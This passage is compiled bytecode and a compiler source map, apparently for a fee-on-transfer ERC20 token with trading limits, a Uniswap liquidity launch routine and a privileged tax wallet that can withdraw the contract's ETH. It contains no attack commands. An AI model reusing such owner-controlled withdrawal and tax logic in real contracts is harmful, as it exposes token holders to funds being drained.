5f90815260026020908152604080832033845290915290205491906110c0565b610a0d565b5060019392505050565b5f47116104845760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e736665720000000000000060448201526064015b60405180910390fd5b6004546001600160a01b0316336001600160a01b0316146104a3575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156104cc573d5f803e3d5ffd5b50565b6004546001600160a01b0316336001600160a01b0316146104ee575f80fd5b305f908152600160205260409020548015801590610514575060145462010000900460ff165b1561052257610522816110f8565b4780156105325761053281611262565b5050565b5f546001600160a01b0316331461055f5760405162461bcd60e51b815260040161047b9061189f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d05760405162461bcd60e51b815260040161047b9061189f565b6105dc6009600a61187a565b6105ea90633b9aca00611888565b600d556105f96009600a61187a565b61060790633b9aca00611888565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106376009600a61187a565b61064590633b9aca00611888565b60405190815260200160405180910390a1565b5f61039f338484610b31565b5f546001600160a01b0316331461068d5760405162461bcd60e51b815260040161047b9061189f565b60145460ff16156106e05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072990309061071b6009600a61187a565b61042190633b9aca00611888565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610779573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079d91906118d4565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082091906118d4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088e91906118d4565b601280546001600160a01b039283166001600160a01b03199091161790556014805460ff191660011790556011541663f305d71947306108e2816001600160a01b03165f9081526001602052604090205490565b5f806108f55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561095b573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098091906118ef565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f9919061191a565b506014805462ff0000191662010000179055565b6001600160a01b038316610a6f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610ad05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610bf75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b5f8111610c585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b60145460ff161580610c715750601454610100900460ff165b15610c8657610c81838383611299565b505050565b5f80546001600160a01b03858116911614801590610cb157505f546001600160a01b03848116911614155b8015610ccb57506004546001600160a01b03848116911614155b15610f2157610cfc6064610cf6600954600c5411610ceb57600554610cef565b6007545b859061133c565b906113c1565b6012549091506001600160a01b038581169116148015610d2a57506011546001600160a01b03848116911614155b8015610d4e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3457600d54821115610da55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047b565b600e5482610dc7856001600160a01b03165f9081526001602052604090205490565b610dd19190611939565b1115610e1f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047b565b600c8054905f610e2e8361194c565b91905055505b6012546001600160a01b038481169116148015610e5a57506001600160a01b0384163014155b15610e8757610e846064610cf6600a54600c5411610e7a57600654610cef565b600854859061133c565b90505b305f90815260016020526040902054601454610100900460ff16158015610ebb57506012546001600160a01b038581169116145b8015610ecf575060145462010000900460ff165b8015610edc5750600f5481115b8015610eeb5750600b54600c54115b15610f1f57610f0d610f0884610f0384601054611402565b611402565b6110f8565b478015610f1d57610f1d47611262565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f5e57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f7357506001600160a01b0384163014155b8015610f8857506001600160a01b0383163014155b15610f9257436015555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fd257506001600160a01b0383165f9081526003602052604090205460ff16155b156110ae576012546001600160a01b0390811690841603611024576001600160a01b0384165f90815260166020526040902060155481546110139190611964565b6002820155426001909101556110ae565b6001600160a01b038084165f908152601660205260409020601254909186811691160361107a5780545f0361107557600c54600b541015611067574381556110ac565b611072600143611964565b81555b6110ac565b6001600160a01b0385165f908152601660205260409020815415806110a0575081548154105b156110aa57805482555b505b505b6110ba84848484611416565b50505050565b5f81848411156110e35760405162461bcd60e51b815260040161047b919061166c565b505f6110ef8486611964565b95945050505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061113a5761113a611977565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611191573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111b591906118d4565b816001815181106111c8576111c8611977565b6001600160a01b0392831660209182029290920101526011546111ee9130911684610a0d565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112269085905f9086903090429060040161198b565b5f604051808303815f87803b15801561123d575f80fd5b505af115801561124f573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610532573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112bb9082611440565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112e99082611481565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b249085815260200190565b5f825f0361134b57505f6103a3565b5f6113568385611888565b90508261136385836119fc565b146113ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b9392505050565b5f6113ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114df565b5f81831161141057826113ba565b50919050565b5f61142285848461150b565b90506114398585836114348787611440565b6115bb565b5050505050565b5f6113ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c0565b5f8061148d8385611939565b9050838110156113ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b5f81836114ff5760405162461bcd60e51b815260040161047b919061166c565b505f6110ef84866119fc565b6004545f9081906001600160a01b039081169086160361153757601354611532908561133c565b611539565b835b905082156115b357305f9081526001602052604090205461155a9084611481565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115aa9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115dd9083611440565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461160b9082611481565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061165e9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116985785810183015185820160400152820161167c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104cc575f80fd5b5f80604083850312156116dd575f80fd5b82356116e8816116b8565b946020939093013593505050565b5f805f60608486031215611708575f80fd5b8335611713816116b8565b92506020840135611723816116b8565b929592945050506040919091013590565b5f60208284031215611744575f80fd5b81356113ba816116b8565b5f8060408385031215611760575f80fd5b823561176b816116b8565b9150602083013561177b816116b8565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d457815f19048211156117ba576117ba611786565b808516156117c757918102915b93841c939080029061179f565b509250929050565b5f826117ea575060016103a3565b816117f657505f6103a3565b816001811461180c576002811461181657611832565b60019150506103a3565b60ff84111561182757611827611786565b50506001821b6103a3565b5060208310610133831016604e8410600b8410161715611855575081810a6103a3565b61185f838361179a565b805f190482111561187257611872611786565b029392505050565b5f6113ba60ff8416836117dc565b80820281158282048414176103a3576103a3611786565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118e4575f80fd5b81516113ba816116b8565b5f805f60608486031215611901575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561192a575f80fd5b815180151581146113ba575f80fd5b808201808211156103a3576103a3611786565b5f6001820161195d5761195d611786565b5060010190565b818103818111156103a3576103a3611786565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119db5784516001600160a01b0316835293830193918301916001016119b6565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a1657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220404befb644a2d24a6799e4d1b4371d2b51c15c05662976762820ee332754495264736f6c63430008170033

3588:10311:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5571:83;;;;;;;;;;-1:-1:-1;5641:5:0;;;;;;;;;;;;-1:-1:-1;;;5641:5:0;;;;5571:83;;;;;;;:::i;:::-;;;;;;;;6404:176;;;;;;;;;;-1:-1:-1;6404:176:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6404:176:0;1023:187:1;4643:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4643:52:0;1215:177:1;5848:95:0;;;;;;;;;;;;;:::i;6588:361::-;;;;;;;;;;-1:-1:-1;6588:361:0;;;;;:::i;:::-;;:::i;5757:83::-;;;;;;;;;;-1:-1:-1;5757:83:0;;4378:1;2000:36:1;;1988:2;1973:18;5757:83:0;1858:184:1;13670:226:0;;;;;;;;;;;;;:::i;:::-;;13298:364;;;;;;;;;;;;;:::i;5951:119::-;;;;;;;;;;-1:-1:-1;5951:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6044:18:0;6017:7;6044:18;;;:9;:18;;;;;;;5951:119;2655:148;;;;;;;;;;;;;:::i;12314:162::-;;;;;;;;;;;;;:::i;4454:54::-;;;;;;;;;;;;;;;;2441:79;;;;;;;;;;-1:-1:-1;2479:7:0;2506:6;2441:79;;-1:-1:-1;;;;;2506:6:0;;;2445:51:1;;2433:2;2418:18;2441:79:0;2299:203:1;4515:56:0;;;;;;;;;;;;;;;;5662:87;;;;;;;;;;-1:-1:-1;5734:7:0;;;;;;;;;;;;-1:-1:-1;;;5734:7:0;;;;5662:87;;6078:167;;;;;;;;;;-1:-1:-1;6078:167:0;;;;;:::i;:::-;;:::i;4578:58::-;;;;;;;;;;;;;;;;12584:669;;;;;;;;;;;;;:::i;6253:143::-;;;;;;;;;;-1:-1:-1;6253:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6361:18:0;;;6334:7;6361:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6253:143;6404:176;6494:4;6511:39;167:10;6534:7;6543:6;6511:8;:39::i;:::-;-1:-1:-1;6568:4:0;6404:176;;;;;:::o;5848:95::-;5901:7;4434:13;4378:1;4434:2;:13;:::i;:::-;4421:26;;:10;:26;:::i;:::-;5921:14;;5848:95;:::o;6588:361::-;6684:4;6701:36;6711:6;6719:9;6730:6;6701:9;:36::i;:::-;6748:171;6771:6;167:10;6819:89;6857:6;6819:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6819:19:0;;;;;;:11;:19;;;;;;;;167:10;6819:33;;;;;;;;;;:37;:89::i;:::-;6748:8;:171::i;:::-;-1:-1:-1;6937:4:0;6588:361;;;;;:::o;13670:226::-;13749:1;13725:21;:25;13717:63;;;;-1:-1:-1;;;13717:63:0;;4784:2:1;13717:63:0;;;4766:21:1;4823:2;4803:18;;;4796:30;4862:27;4842:18;;;4835:55;4907:18;;13717:63:0;;;;;;;;;13815:10;;-1:-1:-1;;;;;13815:10:0;167;-1:-1:-1;;;;;13799:26:0;;13791:35;;;;;;13837:51;;13845:10;;13866:21;13837:51;;;;;;;;;13866:21;13845:10;13837:51;;;;;;;;;;;;;;;;;;;;;13670:226::o;13298:364::-;13362:10;;-1:-1:-1;;;;;13362:10:0;167;-1:-1:-1;;;;;13348:24:0;;13340:33;;;;;;13423:4;13384:20;6044:18;;;:9;:18;;;;;;13443:15;;;;;:30;;-1:-1:-1;13462:11:0;;;;;;;13443:30;13440:89;;;13487:30;13504:12;13487:16;:30::i;:::-;13558:21;13593:12;;13590:65;;13619:24;13632:10;13619:12;:24::i;:::-;13329:333;;13298:364::o;2655:148::-;2568:6;;-1:-1:-1;;;;;2568:6:0;167:10;2568:22;2560:67;;;;-1:-1:-1;;;2560:67:0;;;;;;;:::i;:::-;2762:1:::1;2746:6:::0;;2725:40:::1;::::0;-1:-1:-1;;;;;2746:6:0;;::::1;::::0;2725:40:::1;::::0;2762:1;;2725:40:::1;2793:1;2776:19:::0;;-1:-1:-1;;;;;;2776:19:0::1;::::0;;2655:148::o;12314:162::-;2568:6;;-1:-1:-1;;;;;2568:6:0;167:10;2568:22;2560:67;;;;-1:-1:-1;;;2560:67:0;;;;;;;:::i;:::-;4434:13:::1;4378:1;4434:2;:13;:::i;:::-;4421:26;::::0;:10:::1;:26;:::i;:::-;12367:12;:22:::0;4434:13:::1;4378:1;4434:2;:13;:::i;:::-;4421:26;::::0;:10:::1;:26;:::i;:::-;12400:14;:23:::0;12441:27:::1;4434:13;4378:1;4434:2;:13;:::i;:::-;4421:26;::::0;:10:::1;:26;:::i;:::-;12441:27;::::0;1361:25:1;;;1349:2;1334:18;12441:27:0::1;;;;;;;12314:162::o:0;6078:167::-;6156:4;6173:42;167:10;6197:9;6208:6;6173:9;:42::i;12584:669::-;2568:6;;-1:-1:-1;;;;;2568:6:0;167:10;2568:22;2560:67;;;;-1:-1:-1;;;2560:67:0;;;;;;;:::i;:::-;12648:11:::1;::::0;::::1;;12647:12;12639:47;;;::::0;-1:-1:-1;;;12639:47:0;;5499:2:1;12639:47:0::1;::::0;::::1;5481:21:1::0;5538:2;5518:18;;;5511:30;5577:25;5557:18;;;5550:53;5620:18;;12639:47:0::1;5297:347:1::0;12639:47:0::1;12697:15;:80:::0;;-1:-1:-1;;;;;;12697:80:0::1;12734:42;12697:80:::0;;::::1;::::0;;;12788:58:::1;::::0;12805:4:::1;::::0;4434:13:::1;4378:1;4434:2;:13;:::i;:::-;4421:26;::::0;:10:::1;:26;:::i;12788:58::-;12891:15;;;;;;;;;-1:-1:-1::0;;;;;12891:15:0::1;-1:-1:-1::0;;;;;12891:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12873:55:0::1;;12937:4;12943:15;;;;;;;;;-1:-1:-1::0;;;;;12943:15:0::1;-1:-1:-1::0;;;;;12943:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12873:93;::::0;-1:-1:-1;;;;;;12873:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6135:15:1;;;12873:93:0::1;::::0;::::1;6117:34:1::0;6187:15;;6167:18;;;6160:43;6052:18;;12873:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12857:13;:109:::0;;-1:-1:-1;;;;;12857:109:0;;::::1;-1:-1:-1::0;;;;;;12857:109:0;;::::1;;::::0;;12977:11:::1;:17:::0;;-1:-1:-1;;12977:17:0::1;12857:109:::0;12977:17:::1;::::0;;13005:15:::1;::::0;::::1;:31;13044:21;13075:4;13081:24;13075:4:::0;-1:-1:-1;;;;;6044:18:0;6017:7;6044:18;;;:9;:18;;;;;;;5951:119;13081:24:::1;13106:1;13108::::0;13110:7:::1;2479::::0;2506:6;-1:-1:-1;;;;;2506:6:0;;2441:79;13110:7:::1;13005:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13005:129:0;;;-1:-1:-1;;;;;6573:15:1;;;13005:129:0::1;::::0;::::1;6555:34:1::0;6605:18;;;6598:34;;;;6648:18;;;6641:34;;;;6691:18;;;6684:34;6755:15;;;6734:19;;;6727:44;13118:15:0::1;6787:19:1::0;;;6780:35;6489:19;;13005:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13152:13:0::1;::::0;13183:15:::1;::::0;13145:71:::1;::::0;-1:-1:-1;;;13145:71:0;;-1:-1:-1;;;;;13183:15:0;;::::1;13145:71;::::0;::::1;7311:51:1::0;-1:-1:-1;;7378:18:1;;;7371:34;13152:13:0;::::1;::::0;-1:-1:-1;13145:29:0::1;::::0;7284:18:1;;13145:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13227:11:0::1;:18:::0;;-1:-1:-1;;13227:18:0::1;::::0;::::1;::::0;;12584:669::o;6957:351::-;-1:-1:-1;;;;;7066:19:0;;7058:68;;;;-1:-1:-1;;;7058:68:0;;7900:2:1;7058:68:0;;;7882:21:1;7939:2;7919:18;;;7912:30;7978:34;7958:18;;;7951:62;-1:-1:-1;;;8029:18:1;;;8022:34;8073:19;;7058:68:0;7698:400:1;7058:68:0;-1:-1:-1;;;;;7145:21:0;;7137:68;;;;-1:-1:-1;;;7137:68:0;;8305:2:1;7137:68:0;;;8287:21:1;8344:2;8324:18;;;8317:30;8383:34;8363:18;;;8356:62;-1:-1:-1;;;8434:18:1;;;8427:32;8476:19;;7137:68:0;8103:398:1;7137:68:0;-1:-1:-1;;;;;7216:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7268:32;;1361:25:1;;;7268:32:0;;1334:18:1;7268:32:0;;;;;;;;6957:351;;;:::o;7577:3099::-;-1:-1:-1;;;;;7670:18:0;;7662:68;;;;-1:-1:-1;;;7662:68:0;;8708:2:1;7662:68:0;;;8690:21:1;8747:2;8727:18;;;8720:30;8786:34;8766:18;;;8759:62;-1:-1:-1;;;8837:18:1;;;8830:35;8882:19;;7662:68:0;8506:401:1;7662:68:0;-1:-1:-1;;;;;7749:16:0;;7741:64;;;;-1:-1:-1;;;7741:64:0;;9114:2:1;7741:64:0;;;9096:21:1;9153:2;9133:18;;;9126:30;9192:34;9172:18;;;9165:62;-1:-1:-1;;;9243:18:1;;;9236:33;9286:19;;7741:64:0;8912:399:1;7741:64:0;7846:1;7834:11;:13;7826:67;;;;-1:-1:-1;;;7826:67:0;;9518:2:1;7826:67:0;;;9500:21:1;9557:2;9537:18;;;9530:30;9596:34;9576:18;;;9569:62;-1:-1:-1;;;9647:18:1;;;9640:39;9696:19;;7826:67:0;9316:405:1;7826:67:0;7911:11;;;;7910:12;;:25;;-1:-1:-1;7925:10:0;;;;;;;7910:25;7906:116;;;7952:37;7967:4;7973:2;7977:11;7952:14;:37::i;:::-;7577:3099;;;:::o;7906:116::-;8034:17;2506:6;;-1:-1:-1;;;;;8069:15:0;;;2506:6;;8069:15;;;;:32;;-1:-1:-1;2479:7:0;2506:6;-1:-1:-1;;;;;8088:13:0;;;2506:6;;8088:13;;8069:32;:52;;;;-1:-1:-1;8111:10:0;;-1:-1:-1;;;;;8105:16:0;;;8111:10;;8105:16;;8069:52;8065:1317;;;8150:86;8232:3;8150:77;8179:15;;8167:9;;:27;8166:60;;8212:14;;8166:60;;;8197:12;;8166:60;8150:11;;:15;:77::i;:::-;:81;;:86::i;:::-;8264:13;;8138:98;;-1:-1:-1;;;;;;8257:20:0;;;8264:13;;8257:20;:54;;;;-1:-1:-1;8295:15:0;;-1:-1:-1;;;;;8281:30:0;;;8295:15;;8281:30;;8257:54;:83;;;;-1:-1:-1;;;;;;8318:22:0;;;;;;:18;:22;;;;;;;;8316:24;8257:83;8253:383;;;8406:12;;8391:11;:27;;8361:126;;;;-1:-1:-1;;;8361:126:0;;9928:2:1;8361:126:0;;;9910:21:1;9967:2;9947:18;;;9940:30;10006:27;9986:18;;;9979:55;10051:18;;8361:126:0;9726:349:1;8361:126:0;8545:14;;8530:11;8514:13;8524:2;-1:-1:-1;;;;;6044:18:0;6017:7;6044:18;;;:9;:18;;;;;;;5951:119;8514:13;:27;;;;:::i;:::-;:45;;8506:84;;;;-1:-1:-1;;;8506:84:0;;10412:2:1;8506:84:0;;;10394:21:1;10451:2;10431:18;;;10424:30;10490:28;10470:18;;;10463:56;10536:18;;8506:84:0;10210:350:1;8506:84:0;8609:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8253:383;8661:13;;-1:-1:-1;;;;;8655:19:0;;;8661:13;;8655:19;:43;;;;-1:-1:-1;;;;;;8678:20:0;;8693:4;8678:20;;8655:43;8652:204;;;8731:109;8836:3;8731:78;8758:16;;8748:9;;:26;8747:61;;8793:15;;8747:61;;;8777:13;;8731:11;;:15;:78::i;:109::-;8719:121;;8652:204;8921:4;8872:28;6044:18;;;:9;:18;;;;;;8948:10;;;;;;;8947:11;:33;;;;-1:-1:-1;8967:13:0;;-1:-1:-1;;;;;8962:18:0;;;8967:13;;8962:18;8947:33;:48;;;;-1:-1:-1;8984:11:0;;;;;;;8947:48;:91;;;;;9021:17;;8998:20;:40;8947:91;:124;;;;;9053:18;;9042:9;;:29;8947:124;8942:429;;;9092:74;9109:56;9113:11;9126:38;9130:20;9152:11;;9126:3;:38::i;:::-;9109:3;:56::i;:::-;9092:16;:74::i;:::-;9212:21;9256:20;;9252:104;;9301:35;9314:21;9301:12;:35::i;:::-;9073:298;8942:429;8123:1259;8065:1317;-1:-1:-1;;;;;9399:24:0;;;;;;:18;:24;;;;;;;;;:48;;-1:-1:-1;;;;;;9425:22:0;;;;;;:18;:22;;;;;;;;9399:48;9398:74;;;;-1:-1:-1;;;;;;9452:20:0;;9467:4;9452:20;;9398:74;:95;;;;-1:-1:-1;;;;;;9476:17:0;;9488:4;9476:17;;9398:95;9394:157;;;9527:12;9511:13;:28;9394:157;-1:-1:-1;;;;;9567:24:0;;;;;;:18;:24;;;;;;;;9565:26;:53;;;;-1:-1:-1;;;;;;9596:22:0;;;;;;:18;:22;;;;;;;;9594:24;9565:53;9561:1049;;;9645:13;;-1:-1:-1;;;;;9645:13:0;;;9639:19;;;;9635:964;;-1:-1:-1;;;;;9710:15:0;;9679:28;9710:15;;;:9;:15;;;;;9784:13;;9767:16;;:30;;9784:13;9767:30;:::i;:::-;9744:20;;;:53;9835:15;9816:16;;;;:34;9635:964;;;-1:-1:-1;;;;;9921:13:0;;;9891:27;9921:13;;;:9;:13;;;;;9957;;9921;;9957:21;;;:13;;:21;9953:631;;10007:15;;;:20;10003:294;;10081:9;;10060:18;;:30;10056:218;;;10139:12;10123:28;;9953:631;;10056:218;10232:14;10245:1;10232:12;:14;:::i;:::-;10216:30;;10056:218;9953:631;;;-1:-1:-1;;;;;10376:15:0;;10345:28;10376:15;;;:9;:15;;;;;10420;;:19;;10418:59;;-1:-1:-1;10462:15:0;;10443:16;;:34;10418:59;10414:151;;;10525:16;;10507:34;;10414:151;10322:262;9953:631;9872:727;9635:964;10622:46;10637:4;10643:2;10646:11;10658:9;10622:14;:46::i;:::-;7651:3025;7577:3099;;;:::o;1551:190::-;1637:7;1673:12;1665:6;;;;1657:29;;;;-1:-1:-1;;;1657:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1697:9:0;1709:5;1713:1;1709;:5;:::i;:::-;1697:17;1551:190;-1:-1:-1;;;;;1551:190:0:o;11823:483::-;5185:10;:17;;-1:-1:-1;;5185:17:0;;;;;11925:16:::1;::::0;;11939:1:::1;11925:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11925:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11925:16:0::1;11901:40;;11970:4;11952;11957:1;11952:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11952:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11996:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11996:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11952:7;;11996:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11986:4;11991:1;11986:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11986:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12061:15:::1;::::0;12029:62:::1;::::0;12046:4:::1;::::0;12061:15:::1;12079:11:::0;12029:8:::1;:62::i;:::-;12102:15;::::0;:196:::1;::::0;-1:-1:-1;;;12102:196:0;;-1:-1:-1;;;;;12102:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12183:11;;12102:15:::1;::::0;12225:4;;12252::::1;::::0;12272:15:::1;::::0;12102:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5225:10:0;:18;;-1:-1:-1;;5225:18:0;;;-1:-1:-1;;;;11823:483:0:o;12484:92::-;12541:10;;:27;;-1:-1:-1;;;;;12541:10:0;;;;:27;;;;;12561:6;;12541:10;:27;:10;:27;12561:6;12541:10;:27;;;;;;;;;;;;;;;;;;;7316:253;-1:-1:-1;;;;;7425:15:0;;;;;;:9;:15;;;;;;:32;;7445:11;7425:19;:32::i;:::-;-1:-1:-1;;;;;7407:15:0;;;;;;;:9;:15;;;;;;:50;;;;7483:13;;;;;;;:30;;7501:11;7483:17;:30::i;:::-;-1:-1:-1;;;;;7468:13:0;;;;;;;:9;:13;;;;;;;:45;;;;7531:30;;;;;;;;;;7549:11;1361:25:1;;1349:2;1334:18;;1215:177;966:246:0;1024:7;1048:1;1053;1048:6;1044:47;;-1:-1:-1;1078:1:0;1071:8;;1044:47;1101:9;1113:5;1117:1;1113;:5;:::i;:::-;1101:17;-1:-1:-1;1146:1:0;1137:5;1141:1;1101:17;1137:5;:::i;:::-;:10;1129:56;;;;-1:-1:-1;;;1129:56:0;;12511:2:1;1129:56:0;;;12493:21:1;12550:2;12530:18;;;12523:30;12589:34;12569:18;;;12562:62;-1:-1:-1;;;12640:18:1;;;12633:31;12681:19;;1129:56:0;12309:397:1;1129:56:0;1203:1;966:246;-1:-1:-1;;;966:246:0:o;1749:132::-;1807:7;1834:39;1838:1;1841;1834:39;;;;;;;;;;;;;;;;;:3;:39::i;11716:99::-;11773:7;11801:1;11799;:3;11798:9;;11806:1;11798:9;;;-1:-1:-1;11804:1:0;11716:99;-1:-1:-1;11716:99:0:o;10684:283::-;10817:15;10835:47;10853:4;10859:11;10872:9;10835:17;:47::i;:::-;10817:65;-1:-1:-1;10893:66:0;10913:4;10919:2;10817:65;10932:26;:11;10948:9;10932:15;:26::i;:::-;10893:19;:66::i;:::-;10806:161;10684:283;;;;:::o;1407:136::-;1465:7;1492:43;1496:1;1499;1492:43;;;;;;;;;;;;;;;;;:3;:43::i;1220:179::-;1278:7;;1310:5;1314:1;1310;:5;:::i;:::-;1298:17;;1339:1;1334;:6;;1326:46;;;;-1:-1:-1;;;1326:46:0;;12913:2:1;1326:46:0;;;12895:21:1;12952:2;12932:18;;;12925:30;12991:29;12971:18;;;12964:57;13038:18;;1326:46:0;12711:351:1;1889:189:0;1975:7;2010:12;2003:5;1995:28;;;;-1:-1:-1;;;1995:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2034:9:0;2046:5;2050:1;2046;:5;:::i;11288:418::-;11433:10;;11388:7;;;;-1:-1:-1;;;;;11433:10:0;;;11425:18;;;;:64;;11460:12;;:29;;11477:11;11460:16;:29::i;:::-;11425:64;;;11446:11;11425:64;11407:82;-1:-1:-1;11504:13:0;;11500:174;;11578:4;11560:24;;;;:9;:24;;;;;;:39;;11589:9;11560:28;:39::i;:::-;11552:4;11534:24;;;;:9;:24;;;;;;;:65;;;;11621:41;;-1:-1:-1;;;;;11621:41:0;;;;;;;11652:9;1361:25:1;;1349:2;1334:18;;1215:177;116